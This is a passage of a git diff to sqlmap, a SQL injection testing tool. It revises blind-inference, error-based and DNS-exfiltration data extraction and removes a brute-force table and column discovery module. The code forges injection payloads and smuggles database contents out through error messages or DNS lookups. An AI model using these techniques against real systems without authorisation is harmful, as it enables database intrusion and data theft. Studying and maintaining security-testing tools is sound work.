DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): + finalValue = partialValue[:-INFERENCE_BLANK_BREAK] + break + elif charsetType and partialValue[-1:].isspace(): + finalValue = partialValue[:-1] + break + + if (lastChar > 0 and index >= lastChar): + finalValue = "" if length == 0 else partialValue + finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue + partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: - setFormatterPrependFlag(False) + kb.prependFlag = False + retrievedLength = len(finalValue or "") if finalValue is not None: - finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue + finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: - hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER, partialValue)) + hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) - if conf.verbose in (1, 2) or showEta: - dataToStdout("\n") + if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): + infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) + dataToStdout(infoMsg) + else: + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): + dataToStdout("\n") - if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3: - infoMsg = "retrieved: %s" % filterControlChars(finalValue) - logger.info(infoMsg) + if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: + infoMsg = "retrieved: %s" % filterControlChars(finalValue) + logger.info(infoMsg) if kb.threadException: - raise sqlmapThreadException, "something unexpected happened inside the threads" + raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue - return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _ + + return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): """ Returns the query output length. """ - lengthQuery = queries[Backend.getIdentifiedDbms()].length.query - select = re.search("\ASELECT\s+", expression, re.I) - selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) - selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) - selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) - selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) - miscExpr = re.search("\A(.+)", expression, re.I) - - if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr: - if selectTopExpr: - regExpr = selectTopExpr.groups()[0] - elif selectDistinctExpr: - regExpr = selectDistinctExpr.groups()[0] - elif selectFromExpr: - regExpr = selectFromExpr.groups()[0] - elif selectExpr: - regExpr = selectExpr.groups()[0] - elif miscExpr: - regExpr = miscExpr.groups()[0] - - if ( select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I) ) or len(regExpr) <= 1: - return None, None, None - - if selectDistinctExpr: - lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression) - - if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): - lengthExpr += " AS %s" % randomStr(lowercase=True) - elif select: - lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) - else: - lengthExpr = lengthQuery % expression - infoMsg = "retrieving the length of query output" logger.info(infoMsg) start = time.time() - lengthExprUnescaped = unescaper.unescape(lengthExpr) + + lengthExprUnescaped = agent.forgeQueryOutputLength(expression) count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS) - debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) - if length == " ": + if isinstance(length, six.string_types) and length.isspace(): length = 0 - return count, length, regExpr + return length diff --git a/lib/techniques/brute/__init__.py b/lib/techniques/brute/__init__.py deleted file mode 100644 index 652bcd8d837..00000000000 --- a/lib/techniques/brute/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -pass diff --git a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py deleted file mode 100644 index c80fa40cb9c..00000000000 --- a/lib/techniques/brute/use.py +++ /dev/null @@ -1,236 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import time - -from lib.core.common import clearConsoleLine -from lib.core.common import dataToStdout -from lib.core.common import filterListValue -from lib.core.common import getFileItems -from lib.core.common import Backend -from lib.core.common import getPageWordSet -from lib.core.common import hashDBRetrieve -from lib.core.common import hashDBWrite -from lib.core.common import randomInt -from lib.core.common import randomStr -from lib.core.common import safeStringFormat -from lib.core.common import safeSQLIdentificatorNaming -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.enums import DBMS -from lib.core.enums import HASHDB_KEYS -from lib.core.exception import sqlmapDataException -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.settings import METADB_SUFFIX -from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE -from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE -from lib.core.threads import getCurrentThreadData -from lib.core.threads import runThreads -from lib.request import inject - -def __addPageTextWords(): - wordsList = [] - - infoMsg = "adding words used on web page to the check list" - logger.info(infoMsg) - pageWords = getPageWordSet(kb.originalPage) - - for word in pageWords: - word = word.lower() - - if len(word) > 2 and not word[0].isdigit() and word not in wordsList: - wordsList.append(word) - - return wordsList - -def tableExists(tableFile, regex=None): - result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) - if result: - errMsg = "can't use table existence check because of detected invalid results " - errMsg += "(most probably caused by inability of the used injection " - errMsg += "to distinguish errornous results)" - raise sqlmapDataException, errMsg - - tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) - - infoMsg = "checking table existence using items from '%s'" % tableFile - logger.info(infoMsg) - - tables.extend(__addPageTextWords()) - tables = filterListValue(tables, regex) - - threadData = getCurrentThreadData() - threadData.shared.count = 0 - threadData.shared.limit = len(tables) - threadData.shared.outputs = [] - threadData.shared.unique = set() - - def tableExistsThread(): - threadData = getCurrentThreadData() - - while kb.threadContinue: - kb.locks.count.acquire() - if threadData.shared.count < threadData.shared.limit: - table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) - threadData.shared.count += 1 - kb.locks.count.release() - else: - kb.locks.count.release() - break - - if conf.db and METADB_SUFFIX not in conf.db: - fullTableName = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table) - else: - fullTableName = table - - result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) - - kb.locks.io.acquire() - - if result and table.lower() not in threadData.shared.unique: - threadData.shared.outputs.append(table) - threadData.shared.unique.add(table.lower()) - - if conf.verbose in (1, 2): - clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), table) - dataToStdout(infoMsg, True) - - if conf.verbose in (1, 2): - status = '%d/%d items (%d%s)' % (threadData.shared.count, threadData.shared.limit, round(100.0*threadData.shared.count/threadData.shared.limit), '%') - dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) - - kb.locks.io.release() - - try: - runThreads(conf.threads, tableExistsThread, threadChoice=True) - - except KeyboardInterrupt: - warnMsg = "user aborted during table existence " - warnMsg += "check. sqlmap will display partial output" - logger.warn(warnMsg) - - clearConsoleLine(True) - dataToStdout("\n") - - if not threadData.shared.outputs: - warnMsg = "no table(s) found" - logger.warn(warnMsg) - else: - for item in threadData.shared.outputs: - if not kb.data.cachedTables.has_key(conf.db): - kb.data.cachedTables[conf.db] = [item] - else: - kb.data.cachedTables[conf.db].append(item) - - for _ in map(lambda x: (conf.db, x), threadData.shared.outputs): - if _ not in kb.brute.tables: - kb.brute.tables.append(_) - - hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) - - return kb.data.cachedTables - -def columnExists(columnFile, regex=None): - if not conf.tbl: - errMsg = "missing table parameter" - raise sqlmapMissingMandatoryOptionException, errMsg - - result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) - if result: - errMsg = "can't use column existence check because of detected invalid results " - errMsg += "(most probably caused by inability of the used injection " - errMsg += "to distinguish errornous results)" - raise sqlmapDataException, errMsg - - infoMsg = "checking column existence using items from '%s'" % columnFile - logger.info(infoMsg) - - columns = getFileItems(columnFile, unique=True) - columns.extend(__addPageTextWords()) - columns = filterListValue(columns, regex) - - if conf.db and METADB_SUFFIX not in conf.db: - table = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', conf.tbl) - else: - table = conf.tbl - table = safeSQLIdentificatorNaming(table, True) - - kb.threadContinue = True - kb.bruteMode = True - - threadData = getCurrentThreadData() - threadData.shared.count = 0 - threadData.shared.limit = len(columns) - threadData.shared.outputs = [] - - def columnExistsThread(): - threadData = getCurrentThreadData() - - while kb.threadContinue: - kb.locks.count.acquire() - if threadData.shared.count < threadData.shared.limit: - column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) - threadData.shared.count += 1 - kb.locks.count.release() - else: - kb.locks.count.release() - break - - result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) - - kb.locks.io.acquire() - - if result: - threadData.shared.outputs.append(column) - - if conf.verbose in (1, 2): - clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), column) - dataToStdout(infoMsg, True) - - if conf.verbose in (1, 2): - status = '%d/%d items (%d%s)' % (threadData.shared.count, threadData.shared.limit, round(100.0*threadData.shared.count/threadData.shared.limit), '%') - dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) - - kb.locks.io.release() - - try: - runThreads(conf.threads, columnExistsThread, threadChoice=True) - - except KeyboardInterrupt: - warnMsg = "user aborted during column existence " - warnMsg += "check. sqlmap will display partial output" - logger.warn(warnMsg) - - clearConsoleLine(True) - dataToStdout("\n") - - if not threadData.shared.outputs: - warnMsg = "no column(s) found" - logger.warn(warnMsg) - else: - columns = {} - - for column in threadData.shared.outputs: - result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) - - if result: - columns[column] = 'numeric' - else: - columns[column] = 'non-numeric' - - kb.data.cachedColumns[conf.db] = {conf.tbl: columns} - - for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]), columns.items()): - if _ not in kb.brute.columns: - kb.brute.columns.append(_) - - hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) - - return kb.data.cachedColumns diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index ebe2e8b32af..24ba334d5cc 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -10,10 +10,10 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.settings import FROM_DUMMY_TABLE +from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.exception import SqlmapNotVulnerableException from lib.techniques.dns.use import dnsUse - def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") @@ -21,10 +21,13 @@ def dnsTest(payload): kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) if not kb.dnsTest: - errMsg = "data retrieval through DNS channel failed. Turning off DNS exfiltration support" - logger.error(errMsg) - - conf.dName = None + errMsg = "data retrieval through DNS channel failed" + if not conf.forceDns: + conf.dnsDomain = None + errMsg += ". Turning off DNS exfiltration support" + logger.error(errMsg) + else: + raise SqlmapNotVulnerableException(errMsg) else: infoMsg = "data retrieval through DNS channel was successful" logger.info(infoMsg) diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 2e2ddaf0d52..78854c0122a 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,29 +1,27 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re import time -import string -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout -from lib.core.common import decodeHexValue +from lib.core.common import decodeDbmsHexValue from lib.core.common import extractRegexResult -from lib.core.common import getSPQLSnippet +from lib.core.common import getSQLSnippet from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import randomInt from lib.core.common import randomStr -from lib.core.common import safecharencode from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -34,7 +32,7 @@ from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request - +from lib.utils.safe2bin import safecharencode def dnsUse(payload, expression): """ @@ -48,7 +46,7 @@ def dnsUse(payload, expression): count = 0 offset = 1 - if conf.dName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): + if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: @@ -60,20 +58,23 @@ def dnsUse(payload, expression): while True: count += 1 prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) - chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2 + chunk_length = MAX_DNS_LABEL // 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) + extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0) + if extendedField != fieldToCastStr: # e.g. MIN(surname) + nulledCastedField = extendedField.replace(fieldToCastStr, nulledCastedField) + fieldToCastStr = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) - expressionRequest = getSPQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dName) - expressionUnescaped = unescaper.unescape(expressionRequest) + expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) + expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): - comment = queries[Backend.getIdentifiedDbms()].comment.query query = agent.prefixQuery("; %s" % expressionUnescaped) - query = agent.suffixQuery("%s;%s" % (query, comment)) + query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) @@ -83,8 +84,8 @@ def dnsUse(payload, expression): _ = conf.dnsServer.pop(prefix, suffix) if _: - _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) - _ = decodeHexValue(_) + _ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) + _ = decodeDbmsHexValue(_) output = (output or "") + _ offset += len(_) @@ -93,22 +94,24 @@ def dnsUse(payload, expression): else: break + output = decodeDbmsHexValue(output) if conf.hexConvert else output + kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: - dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) + dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) if not kb.bruteMode: - debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) - elif conf.dName: + elif conf.dnsDomain: warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 7b89ea01c75..a9ae8bac007 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,22 +1,27 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout -from lib.core.common import decodeHexValue +from lib.core.common import decodeDbmsHexValue from lib.core.common import extractRegexResult -from lib.core.common import getUnicode +from lib.core.common import firstNotNone +from lib.core.common import getConsoleWidth +from lib.core.common import getPartRun +from lib.core.common import getTechnique +from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter @@ -25,16 +30,27 @@ from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import readInput -from lib.core.convert import htmlunescape +from lib.core.common import unArrayizeValue +from lib.core.common import wasLastResponseHTTPError +from lib.core.compat import xrange +from lib.core.convert import decodeHex +from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS -from lib.core.enums import PAYLOAD -from lib.core.settings import FROM_DUMMY_TABLE -from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH -from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH +from lib.core.enums import HASHDB_KEYS +from lib.core.enums import HTTP_HEADER +from lib.core.exception import SqlmapDataException +from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD +from lib.core.settings import MAX_ERROR_CHUNK_LENGTH +from lib.core.settings import MIN_ERROR_CHUNK_LENGTH +from lib.core.settings import NULL +from lib.core.settings import PARTIAL_VALUE_MARKER +from lib.core.settings import ROTATING_CHARS from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT @@ -42,103 +58,177 @@ from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request +from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode +from thirdparty import six -def __oneShotErrorUse(expression, field): +def _oneShotErrorUse(expression, field=None, chunkTest=False): + offset = 1 + rotator = 0 + partialValue = None + threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) - threadData = getCurrentThreadData() - threadData.resumed = retVal is not None + if retVal and PARTIAL_VALUE_MARKER in retVal: + partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") + logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) + offset += len(partialValue) - offset = 1 - chunk_length = None - - if retVal is None: - while True: - check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) - trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) - - nulledCastedField = agent.nullAndCastField(field) - - if Backend.isDbms(DBMS.MYSQL): - chunk_length = MYSQL_ERROR_CHUNK_LENGTH - nulledCastedField = queries[DBMS.MYSQL].substring.query % (nulledCastedField, offset, chunk_length) - elif Backend.isDbms(DBMS.MSSQL): - chunk_length = MSSQL_ERROR_CHUNK_LENGTH - nulledCastedField = queries[DBMS.MSSQL].substring.query % (nulledCastedField, offset, chunk_length) - - # Forge the error-based SQL injection request - vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector - query = agent.prefixQuery(vector) - query = agent.suffixQuery(query) - injExpression = expression.replace(field, nulledCastedField, 1) - injExpression = unescaper.unescape(injExpression) - injExpression = query.replace("[QUERY]", injExpression) - payload = agent.payload(newValue=injExpression) - - # Perform the request - page, headers = Request.queryPage(payload, content=True) - - incrementCounter(PAYLOAD.TECHNIQUE.ERROR) - - # Parse the returned page to get the exact error-based - # SQL injection output - output = reduce(lambda x, y: x if x is not None else y, [ \ - extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ - extractRegexResult(check, listToStrValue(headers.headers \ - if headers else None), re.DOTALL | re.IGNORECASE), \ - extractRegexResult(check, threadData.lastRedirectMsg[1] \ - if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ - threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)], \ - None) - - if output is not None: - output = getUnicode(output, kb.pageEncoding) + threadData.resumed = retVal is not None and not partialValue + + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: + debugMsg = "searching for error chunk length..." + logger.debug(debugMsg) + + seen = set() + current = MAX_ERROR_CHUNK_LENGTH + while current >= MIN_ERROR_CHUNK_LENGTH: + testChar = str(current % 10) + + if Backend.isDbms(DBMS.ORACLE): + testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar) else: - trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(trimcheck, listToStrValue(headers.headers \ - if headers else None), re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ - if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ - threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) - - if trimmed: - warnMsg = "possible server trimmed output detected (due to its length): " - warnMsg += trimmed - logger.warn(warnMsg) - - if any(map(lambda dbms: Backend.isDbms(dbms), [DBMS.MYSQL, DBMS.MSSQL])): - if offset == 1: - retVal = output + testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) + testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) + + result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) + seen.add(current) + + if (result or "").startswith(testChar): + if result == testChar * current: + kb.errorChunkLength = current + break else: - retVal += output if output else '' + result = re.search(r"\A\w+", result).group(0) + candidate = len(result) - len(kb.chars.stop) + current = candidate if candidate != current and candidate not in seen else current - 1 + else: + current = current // 2 - if output and len(output) >= chunk_length: - offset += chunk_length + if kb.errorChunkLength: + hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) + else: + kb.errorChunkLength = 0 + + if retVal is None or partialValue: + try: + while True: + check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) + trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start + + if field: + nulledCastedField = agent.nullAndCastField(field) + + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: + extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) + if extendedField != field: # e.g. MIN(surname) + nulledCastedField = extendedField.replace(field, nulledCastedField) + field = extendedField + nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) + + # Forge the error-based SQL injection request + vector = getTechniqueData().vector + query = agent.prefixQuery(vector) + query = agent.suffixQuery(query) + injExpression = expression.replace(field, nulledCastedField, 1) if field else expression + injExpression = unescaper.escape(injExpression) + injExpression = query.replace("[QUERY]", injExpression) + payload = agent.payload(newValue=injExpression) + + # Perform the request + page, headers, _ = Request.queryPage(payload, content=True, raise404=False) + + incrementCounter(getTechnique()) + + if page and conf.noEscape: + page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) + + # Parse the returned page to get the exact error-based + # SQL injection output + output = firstNotNone( + extractRegexResult(check, page), + extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), + extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), + extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) + ) + + if output is not None: + output = getUnicode(output) + else: + trimmed = firstNotNone( + extractRegexResult(trimCheck, page), + extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), + extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), + extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) + ) + + if trimmed: + if not chunkTest: + warnMsg = "possible server trimmed output detected " + warnMsg += "(due to its length and/or content): " + warnMsg += safecharencode(trimmed) + logger.warning(warnMsg) + + if not kb.testMode: + check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2] + output = extractRegexResult(check, trimmed, re.IGNORECASE) + + if not output: + check = r"(?P<result>[^\s<>'\"]+)" + output = extractRegexResult(check, trimmed, re.IGNORECASE) + else: + output = output.rstrip() + + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)): + if offset == 1: + retVal = output + else: + retVal += output if output else '' + + if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest: + offset += kb.errorChunkLength + else: + break + + if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)): + if kb.fileReadMode: + dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) + elif offset > 1: + rotator += 1 + + if rotator >= len(ROTATING_CHARS): + rotator = 0 + + dataToStdout("\r%s\r" % ROTATING_CHARS[rotator]) else: + retVal = output break - else: - retVal = output - break + except: + if retVal is not None: + hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) + raise - retVal = decodeHexValue(retVal) if conf.hexConvert else retVal + retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal - if isinstance(retVal, basestring): - retVal = htmlunescape(retVal).replace("<br>", "\n") + if isinstance(retVal, six.string_types): + retVal = htmlUnescape(retVal).replace("<br>", "\n") - retVal = __errorReplaceChars(retVal) + retVal = _errorReplaceChars(retVal) - hashDBWrite(expression, retVal) + if retVal is not None: + hashDBWrite(expression, retVal) else: - _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) - retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal + _ = 